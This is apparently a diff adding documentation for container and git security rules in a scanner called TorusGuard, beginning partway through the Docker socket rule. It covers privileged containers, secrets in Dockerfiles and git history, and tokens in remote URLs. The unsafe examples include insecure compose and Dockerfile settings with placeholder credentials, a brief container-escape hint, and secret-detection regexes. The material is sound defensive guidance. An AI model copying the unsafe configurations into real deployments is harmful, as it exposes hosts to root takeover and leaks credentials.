+ Critical. Mounting `/var/run/docker.sock` grants the container full root control over the host Docker daemon, enabling trivial container breakout and host root takeover.
5
+
6
+ ## Applies To
7
+ - `docker-compose.yml`, `docker-compose.yaml`, `compose.yml`, `compose.yaml`
8
+ - Kubernetes PodSpecs, Helm charts, Docker run scripts
9
+
10
+ ## Why It Matters
11
+ The Docker UNIX socket (`/var/run/docker.sock`) is the management API for the Docker daemon. Any process that can communicate with this socket can issue API calls to spawn new containers with host root filesystem mounts (`-v /:/host`), inspect all container secrets, and execute code directly on the host machine.
12
+
13
+ ## What TorusGuard Looks For
14
+ 1. Volume bindings referencing `/var/run/docker.sock:/var/run/docker.sock`.
15
+ 2. Mounting the Docker socket in read-write or read-only mode without a hardening proxy.
16
+
17
+ ## Unsafe Example
18
+ ```yaml
19
+ # UNSAFE: Exposes host Docker daemon to the container
20
+ version: '3.8'
21
+ services:
22
+ app:
23
+ image: my-app:latest
24
+ volumes:
25
+ - /var/run/docker.sock:/var/run/docker.sock
26
+ ```
27
+
28
+ ## Safe Example
29
+ ```yaml
30
+ # SAFE: Remove Docker socket mount; use dedicated APIs or rootless sidecars
31
+ version: '3.8'
32
+ services:
33
+ app:
34
+ image: my-app:latest
35
+ volumes:
36
+ - app-data:/data
37
+ volumes:
38
+ app-data:
39
+ ```
40
+
41
+ ## Remediation
42
+ 1. Remove `/var/run/docker.sock` volume bindings from application containers.
43
+ 2. If Docker commands are required, use unprivileged rootless container tooling (e.g., Kaniko for image builds) or a restricted Docker socket proxy that denies container-creation privileges.
44
+
45
+ ## Related Rules
46
+ - `TG-CONT-001`: Root User Execution in Container
47
+ - `TG-CONT-003`: Privileged Container Mode
@@ -0,0 +1,53 @@
1
+ # TG-CONT-003: Privileged Container Mode or Disabled Security Profile
2
+
3
+ ## Severity
4
+ Critical. Running in privileged mode disables all Linux security protections, capabilities restrictions, and seccomp filters, granting the container full raw device and kernel access.
5
+
6
+ ## Applies To
7
+ - `docker-compose.yml`, `docker-compose.yaml`, `compose.yml`
8
+ - Kubernetes PodSpecs (`securityContext.privileged: true`)
9
+ - Docker CLI arguments (`--privileged`)
10
+
11
+ ## Why It Matters
12
+ The `--privileged` flag gives all capabilities to the container and lifts all limitations enforced by the device cgroup controller. A privileged container can access host device nodes (`/dev`), load kernel modules, and escape into the host operating system with minimal effort.
13
+
14
+ ## What TorusGuard Looks For
15
+ 1. `privileged: true` in Compose files.
16
+ 2. `security_opt: ["seccomp:unconfined"]` or `security_opt: ["apparmor:unconfined"]`.
17
+ 3. `cap_add: ["ALL"]` or `cap_add: ["SYS_ADMIN"]`.
18
+
19
+ ## Unsafe Example
20
+ ```yaml
21
+ # UNSAFE: Full privileged access and unconfined seccomp
22
+ version: '3.8'
23
+ services:
24
+ web:
25
+ image: web:latest
26
+ privileged: true
27
+ security_opt:
28
+ - seccomp:unconfined
29
+ ```
30
+
31
+ ## Safe Example
32
+ ```yaml
33
+ # SAFE: Unprivileged execution with dropped capabilities
34
+ version: '3.8'
35
+ services:
36
+ web:
37
+ image: web:latest
38
+ privileged: false
39
+ cap_drop:
40
+ - ALL
41
+ cap_add:
42
+ - NET_BIND_SERVICE
43
+ read_only: true
44
+ ```
45
+
46
+ ## Remediation
47
+ 1. Set `privileged: false` (or remove the attribute).
48
+ 2. Explicitly drop all capabilities (`cap_drop: ["ALL"]`) and add only specific minimal capabilities (e.g. `NET_BIND_SERVICE`).
49
+ 3. Enable default seccomp profiles.
50
+
51
+ ## Related Rules
52
+ - `TG-CONT-001`: Root User Execution in Container
53
+ - `TG-CONT-002`: Dangerous Docker Socket Mount
@@ -0,0 +1,43 @@
1
+ # TG-CONT-004: Sensitive Credentials Passed via Container Build ARG or ENV
2
+
3
+ ## Severity
4
+ High. Build arguments (`ARG`) and environment variables (`ENV`) declared in Dockerfiles persist in image metadata and history layers, leaking credentials to anyone with image read access.
5
+
6
+ ## Applies To
7
+ - `Dockerfile`, `Dockerfile.*`, `Containerfile`
8
+ - Docker Compose build contexts
9
+
10
+ ## Why It Matters
11
+ When a secret is passed via `ARG SECRET_KEY` or `ENV API_KEY=xyz` in a Dockerfile:
12
+ 1. `docker history <image>` reveals the secret in clear text.
13
+ 2. The credential is baked into intermediate layer metadata and pushed to container registries (Docker Hub, ECR, GCR).
14
+
15
+ ## What TorusGuard Looks For
16
+ 1. Dockerfile `ARG` or `ENV` directives declaring credentials matching `(?i)(password|secret|api_key|token|private_key)`.
17
+ 2. Hardcoded secret assignments in `ENV` lines.
18
+
19
+ ## Unsafe Example
20
+ ```dockerfile
21
+ # UNSAFE: Bakes secret into image metadata
22
+ FROM python:3.11-slim
23
+ ARG GITHUB_TOKEN=ghp_9876543210fedcba
24
+ ENV DATABASE_PASSWORD=SuperSecretPass123!
25
+ ```
26
+
27
+ ## Safe Example
28
+ ```dockerfile
29
+ # SAFE: Use BuildKit secrets mount or runtime environment injection
30
+ # syntax=docker/dockerfile:1.4
31
+ FROM python:3.11-slim
32
+ RUN --mount=type=secret,id=github_token \
33
+ TOKEN=$(cat /run/secrets/github_token) && \
34
+ pip install --extra-index-url https://$TOKEN@private.repo.com/packages
35
+ ```
36
+
37
+ ## Remediation
38
+ 1. Use Docker BuildKit secret mounts (`RUN --mount=type=secret,id=mysecret`).
39
+ 2. Pass runtime secrets via environment variable files at container run time, never build time.
40
+
41
+ ## Related Rules
42
+ - `TG-SEC-001`: Hardcoded Secrets
43
+ - `TG-CONT-001`: Root User Execution in Container
@@ -0,0 +1,44 @@
1
+ # TG-GIT-001: Historical Secret Leaked in Git Commit History
2
+
3
+ ## Severity
4
+ Critical. Committing a secret permanently writes it to the repository's immutable DAG history. Even if deleted in a later commit, anyone with clone access can extract the secret.
5
+
6
+ ## Applies To
7
+ - Git Commit Objects, Commit Diff Logs (`git log -p`), Packfiles
8
+ - All source files and configuration commits
9
+
10
+ ## Why It Matters
11
+ Git is an append-only, content-addressable storage system. A commit removing a secret (`git rm .env`) only adds a new tree state; the secret blob remains forever reachable in previous commit objects, reflogs, and packfile deltas.
12
+
13
+ ## What TorusGuard Looks For
14
+ 1. High-entropy credentials, private keys, or API tokens committed in historical git commits (`git log -p -S`).
15
+ 2. Deleted secrets that still reside in historical tree objects.
16
+
17
+ ## Unsafe Example
18
+ ```bash
19
+ # UNSAFE: Secret committed to repository history
20
+ git commit -m "Add stripe integration with live key sk_live_abc123"
21
+ # Later "fix" that leaves the historical commit intact:
22
+ git rm config/stripe.json && git commit -m "Remove secret"
23
+ ```
24
+
25
+ ## Safe Example
26
+ ```bash
27
+ # SAFE: Secrets stored in untracked environment files (.env)
28
+ # Added to .gitignore before first commit
29
+ echo ".env" >> .gitignore
30
+ git add .gitignore
31
+ git commit -m "Ignore environment secrets"
32
+ ```
33
+
34
+ ## Remediation
35
+ 1. Immediately **revoke and rotate** the leaked credential at the provider.
36
+ 2. Purge the secret from history using `git-filter-repo` or BFG Repo-Cleaner:
37
+ ```bash
38
+ git filter-repo --invert-paths --path config/stripe.json
39
+ ```
40
+ 3. Force-push to all remote branches and advise all team members to re-clone.
41
+
42
+ ## Related Rules
43
+ - `TG-SEC-001`: Hardcoded Secrets
44
+ - `TG-GIT-002`: Plaintext Credentials in Git Config
@@ -0,0 +1,41 @@
1
+ # TG-GIT-002: Plaintext Credentials in Git Config
2
+
3
+ ## Severity
4
+ High. Embedding plaintext usernames, passwords, or personal access tokens in `.git/config` remote URLs exposes credentials in local logs and backup snapshots.
5
+
6
+ ## Applies To
7
+ - `.git/config`, `~/.gitconfig`, Git remote definitions
8
+
9
+ ## Why It Matters
10
+ When developers embed personal access tokens directly into git remote URLs (e.g. `https://username:ghp_secret@github.com/repo.git`), the credential is saved in clear text in `.git/config`. Any process, script, or extension with local filesystem access can read the token.
11
+
12
+ ## What TorusGuard Looks For
13
+ 1. Remote URL strings matching `https?://[^:]+:[^@]+@`.
14
+ 2. Hardcoded Personal Access Tokens (PATs) embedded in `.git/config` or checkout scripts.
15
+
16
+ ## Unsafe Example
17
+ ```ini
18
+ # UNSAFE: Plaintext token stored in .git/config
19
+ [remote "origin"]
20
+ url = https://developer:ghp_1234567890abcdef1234567890abcdef@github.com/org/repo.git
21
+ fetch = +refs/heads/*:refs/remotes/origin/*
22
+ ```
23
+
24
+ ## Safe Example
25
+ ```ini
26
+ # SAFE: Use Git Credential Helper or SSH keys
27
+ [remote "origin"]
28
+ url = git@github.com:org/repo.git
29
+ fetch = +refs/heads/*:refs/remotes/origin/*
30
+ ```
31
+
32
+ ## Remediation
33
+ 1. Strip embedded passwords from the remote URL:
34
+ ```bash
35
+ git remote set-url origin https://github.com/org/repo.git
36
+ ```
37
+ 2. Configure a secure Git credential helper (`git credential-manager` or `osxkeychain` / `wincred`) or switch to SSH key authentication.
38
+
39
+ ## Related Rules
40
+ - `TG-GIT-001`: Historical Secret Leaked in Git Commit History
41
+ - `TG-SEC-001`: Hardcoded Secrets